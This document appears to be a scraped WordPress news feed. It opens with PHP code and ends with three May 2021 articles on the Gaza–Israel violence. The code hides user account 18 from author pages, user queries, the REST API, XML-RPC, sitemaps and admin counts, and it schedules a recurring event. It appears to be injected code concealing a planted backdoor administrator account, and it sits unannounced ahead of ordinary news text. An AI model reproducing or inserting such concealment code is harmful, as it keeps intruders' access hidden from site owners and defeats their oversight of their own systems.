add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Life resumes in Gaza after several days of violence and destruction. appeared first on The Edge Media.
]]>The Gaza strip is now focussing on rebuilding the territory a day after the hold of the airstrike. Rescue workers are searching for the bodies or the survivors after the “war”. Dozens of city fishermen are preparing nets before moving toward the sea, on Gaza ports.
One of the fishermen, Rami Abu Amira said,”We need to eat. We, fishermen, are scared the Israeli navy will shoot at us. It’s up to everyone to decide whether to go or not”.
The attack on Gaza killed 248 people including 66 children, and 1,900 wounded since May 10. The United Nation says that half of the people killed, are civilians.
The post Life resumes in Gaza after several days of violence and destruction. appeared first on The Edge Media.
]]>The post Israel President praised the generosity of the Indian caregiver who was killed in the Hamas rocket attack appeared first on The Edge Media.
]]>Soumya Santosh was from Kerala’s Idukki district and was a caregiver professional. She was attending an old woman at a house in the Southern Israeli coastal city of Ashkelon. She died in a rocket attack from Gaza while she was talking to her husband on May 11.
Mr. Rivlin called her family on Wednesday and expressed his condolences. He said that he hopes they would find comfort in her “generosity and kind-heartedness”.
A statement from the Presidency said,”President of Israel Reuven Rivlin spoke earlier this week with the family of Soumya Santosh, an Indian citizen working as a caregiver in Israel, who was killed in rocket fire on Ashkelon on Tuesday (May 11)”. The Israeli President tweeted and expressed deep condolences to the families of foreign workers for their “tragic deaths”.
On behalf of the State of #Israel and its people I told Soumya Santosh’s husband Santhosh I hope he finds comfort in the love, the generosity and the kindheartedness she gave to others in need.
I thank PM @narendramodi
and the people of #India for their support for Israel.— Reuven Rivlin (@PresidentRuvi) May 21, 2021
The post Israel President praised the generosity of the Indian caregiver who was killed in the Hamas rocket attack appeared first on The Edge Media.
]]>The post Israeli PM blamed the violence to a decision made by Palestinian Authority president. appeared first on The Edge Media.
]]>He said,”There are only two ways that you can deal with them”, addressing the Hamas in a Tel Aviv briefing for a group of foreign ambassadors. “You can either conquer them, and that’s always an open possibility, or you can deter them, and we are engaged right now in forceful deterrence, but I have to say we don’t rule out anything”.
Netanyahu connected the dramatic rush in violence to a decision by Palestinian Authority president Mahmud Abbas to cancel the elections that was scheduled for this weekend. Palestinian experts say that Hamas is now seeking to establish the real defenders of Palestinians against Israel.
Netanyahu said,” When Hamas saw that these elections were not going to take place, they sought to.. incite riots, to incite violence, in order to further their political goals”.
The post Israeli PM blamed the violence to a decision made by Palestinian Authority president. appeared first on The Edge Media.
]]>